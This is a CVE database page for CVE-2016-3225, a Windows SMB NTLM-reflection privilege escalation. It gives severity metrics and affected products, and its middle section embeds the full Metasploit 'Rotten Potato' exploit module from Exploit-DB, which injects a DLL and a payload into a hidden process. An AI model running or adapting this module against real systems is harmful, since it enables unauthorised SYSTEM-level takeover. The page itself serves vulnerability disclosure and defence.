CVE-2016-3225 : Detail

CVE-2016-3225

7.8
/
High
A01-Broken Access Control
27.38%V4
Local
2016-06-15
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The SMB server component in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 allows local users to gain privileges via a crafted application that forwards an authentication request to an unintended service, aka "Windows SMB Server Elevation of Privilege Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45562

Publication date : 2018-10-07 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/windows/reflective_dll_injection' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC', 'Description' => %q( Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. Currently the module does not spawn as SYSTEM, however once achieving a shell, one can easily use incognito to impersonate the token. ), 'License' => MSF_LICENSE, 'Author' => [ 'FoxGloveSec', # the original Potato exploit 'breenmachine', # Rotten Potato NG! 'Mumbai' # Austin : port of RottenPotato for reflection & quick module ], 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'none', 'WfsDelay' => '20' }, 'Targets' => [ ['Automatic', {}], ['Windows x86', { 'Arch' => ARCH_X86 }], ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ ['MSB', 'MS16-075'], ['CVE', '2016-3225'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], ['URL', 'https://github.com/breenmachine/RottenPotatoNG'] ], 'DisclosureDate' => 'Jan 16 2016', 'DefaultTarget' => 0 })) end def assign_target if target.name == 'Automatic' case sysinfo["Architecture"] when 'x86' vprint_status("Found we are on an x86 target") my_target = targets[1] when 'x64' vprint_status("Found we are on an x64 target") my_target = targets[2] else fail_with(Failure::NoTarget, "Unable to determine target") end else my_target = target end return my_target end def verify_arch(my_target) if my_target["Arch"] != sysinfo["Architecture"] print_error("Assigned Target Arch = #{my_target.opts['Arch']}") print_error("Actual Target Arch = #{sysinfo['Architecture']}") fail_with(Failure::BadConfig, "Assigned Arch does not match reality") end if client.arch != sysinfo["Architecture"] fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported") else vprint_good("Current payload and target Arch match....") end end def check privs = client.sys.config.getprivs if privs.include?('SeImpersonatePrivilege') return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end my_target = assign_target print_status("#{my_target['Arch']}") verify_arch(my_target) if check == Exploit::CheckCode::Safe fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege') end if my_target.opts['Arch'] == 'x64' dll_file_name = 'rottenpotato.x64.dll' vprint_status("Assigning payload rottenpotato.x64.dll") elsif my_target.opts['Arch'] == 'x86' dll_file_name = 'rottenpotato.x86.dll' vprint_status("Assigning payload rottenpotato.x86.dll") else fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_vista >> Version *

References

http://www.securitytracker.com/id/1036110
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/45562/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.